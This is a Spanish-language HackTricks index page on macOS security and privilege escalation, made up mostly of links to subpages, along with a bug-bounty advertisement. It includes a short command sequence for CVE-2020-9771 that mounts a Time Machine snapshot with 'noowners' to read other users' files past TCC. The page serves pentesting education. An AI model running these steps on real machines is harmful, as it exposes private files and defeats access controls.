hacktricks/macos-hardening/macos-security-and-privilege-escalation
2023-08-15 18:30:10 +00:00
..
mac-os-architecture Translated ['backdoors/salseo.md', 'macos-hardening/macos-red-teaming/RE 2023-08-15 18:30:10 +00:00
macos-apps-inspecting-debugging-and-fuzzing Translated ['backdoors/salseo.md', 'macos-hardening/macos-red-teaming/RE 2023-08-15 18:30:10 +00:00
macos-files-folders-and-binaries Translated ['backdoors/salseo.md', 'macos-hardening/macos-red-teaming/RE 2023-08-15 18:30:10 +00:00
macos-mdm Translated ['1911-pentesting-fox.md', 'README.md', 'ctf-write-ups/try-ha 2023-06-07 04:36:55 +00:00
macos-proces-abuse Translated ['backdoors/salseo.md', 'macos-hardening/macos-red-teaming/RE 2023-08-15 18:30:10 +00:00
macos-security-protections Translated ['README.md', 'generic-methodologies-and-resources/pentesting 2023-07-31 17:59:00 +00:00
macos-applefs.md f 2023-06-05 20:30:03 +02:00
macos-basic-objective-c.md f 2023-06-05 20:30:03 +02:00
macos-bypassing-firewalls.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2023-07-14 14:05:47 +00:00
macos-defensive-apps.md Translated ['macos-hardening/macos-red-teaming/README.md', 'macos-harden 2023-06-17 14:44:28 +00:00
macos-dyld-hijacking-and-dyld_insert_libraries.md f 2023-06-05 20:30:03 +02:00
macos-file-extension-apps.md Translated ['macos-hardening/macos-security-and-privilege-escalation/REA 2023-06-10 11:14:12 +00:00
macos-protocols.md Translated ['macos-hardening/macos-red-teaming/README.md', 'macos-harden 2023-06-17 14:44:28 +00:00
macos-red-teaming.md f 2023-06-05 20:30:03 +02:00
macos-users.md f 2023-06-05 20:30:03 +02:00
README.md Translated ['README.md', 'generic-methodologies-and-resources/pentesting 2023-07-31 17:59:00 +00:00

Seguridad y Escalada de Privilegios en macOS

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof es el hogar de todas las recompensas por errores de criptografía.

Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

Obtén experiencia en pentesting web3
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

Regístrate en HackenProof ¡comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

Conceptos básicos de MacOS

Si no estás familiarizado con macOS, debes comenzar aprendiendo los conceptos básicos de macOS:

  • Archivos y permisos especiales de macOS:

{% content-ref url="macos-files-folders-and-binaries/" %} macos-files-folders-and-binaries {% endcontent-ref %}

  • Usuarios comunes de macOS

{% content-ref url="macos-users.md" %} macos-users.md {% endcontent-ref %}

  • AppleFS

{% content-ref url="macos-applefs.md" %} macos-applefs.md {% endcontent-ref %}

  • La arquitectura del kernel

{% content-ref url="mac-os-architecture/" %} mac-os-architecture {% endcontent-ref %}

  • Servicios y protocolos de red comunes de macOS

{% content-ref url="macos-protocols.md" %} macos-protocols.md {% endcontent-ref %}

MacOS MDM

En las empresas, los sistemas macOS probablemente estén gestionados con un MDM. Por lo tanto, desde la perspectiva de un atacante, es interesante saber cómo funciona:

{% content-ref url="../macos-red-teaming/macos-mdm/" %} macos-mdm {% endcontent-ref %}

MacOS - Inspección, Depuración y Fuzzing

{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %} macos-apps-inspecting-debugging-and-fuzzing {% endcontent-ref %}

Protecciones de Seguridad en MacOS

{% content-ref url="macos-security-protections/" %} macos-security-protections {% endcontent-ref %}

Superficie de Ataque

Permisos de Archivos

Si un proceso en ejecución como root escribe un archivo que puede ser controlado por un usuario, el usuario podría aprovechar esto para elevar privilegios.
Esto podría ocurrir en las siguientes situaciones:

  • El archivo utilizado ya fue creado por un usuario (propiedad del usuario).
  • El archivo utilizado es escribible por el usuario debido a un grupo.
  • El archivo utilizado está dentro de un directorio propiedad del usuario (el usuario podría crear el archivo).
  • El archivo utilizado está dentro de un directorio propiedad de root, pero el usuario tiene acceso de escritura sobre él debido a un grupo (el usuario podría crear el archivo).

Poder crear un archivo que va a ser utilizado por root, permite a un usuario aprovechar su contenido o incluso crear enlaces simbólicos/hardlinks para apuntarlo a otro lugar.

Para este tipo de vulnerabilidades, no olvides verificar los instaladores .pkg vulnerables:

{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %} macos-installers-abuse.md {% endcontent-ref %}

Abuso de Privilegios y Entitlements a través del abuso de procesos

Si un proceso puede inyectar código en otro proceso con mejores privilegios o entitlements o contactarlo para realizar acciones con privilegios, podría elevar privilegios y eludir medidas defensivas como Sandbox o TCC.

{% content-ref url="macos-proces-abuse/" %} macos-proces-abuse {% endcontent-ref %}

Manejadores de aplicaciones de extensiones de archivos y esquemas de URL

Las aplicaciones extrañas registradas por extensiones de archivos podrían ser abusadas y diferentes aplicaciones pueden registrarse para abrir protocolos específicos.

{% content-ref url="macos-file-extension-apps.md" %} macos-file-extension-apps.md {% endcontent-ref %}

Escalada de privilegios en MacOS

CVE-2020-9771 - Bypass de TCC y escalada de privilegios en mount_apfs

Cualquier usuario (incluso los no privilegiados) puede crear y montar una instantánea de Time Machine y acceder a TODOS los archivos de esa instantánea.
El único privilegio necesario es que la aplicación utilizada (como Terminal) tenga Acceso completo al disco (FDA) (kTCCServiceSystemPolicyAllfiles), lo cual debe ser otorgado por un administrador.

{% code overflow="wrap" %}

# Create snapshot
tmutil localsnapshot

# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local

# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap

# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap

# Access it
ls /tmp/snap/Users/admin_user # This will work

{% endcode %}

Una explicación más detallada se puede encontrar en el informe original.

Información Sensible

{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %} macos-sensitive-locations.md {% endcontent-ref %}

Linux Privesc

En primer lugar, tenga en cuenta que la mayoría de los trucos sobre escalada de privilegios que afectan a Linux/Unix también afectarán a las máquinas MacOS. Así que vea:

{% content-ref url="../../linux-hardening/privilege-escalation/" %} privilege-escalation {% endcontent-ref %}

Aplicaciones Defensivas de MacOS

Referencias

HackenProof es el hogar de todas las recompensas por errores de criptografía.

Obtenga recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrá la recompensa después de que se verifique el error.

Obtenga experiencia en pentesting web3
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domine la seguridad web3 en sus días de crecimiento.

Conviértase en la leyenda del hacker web3
Gane puntos de reputación con cada error verificado y conquiste la cima de la clasificación semanal.

Regístrese en HackenProof comience a ganar con sus hacks!

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥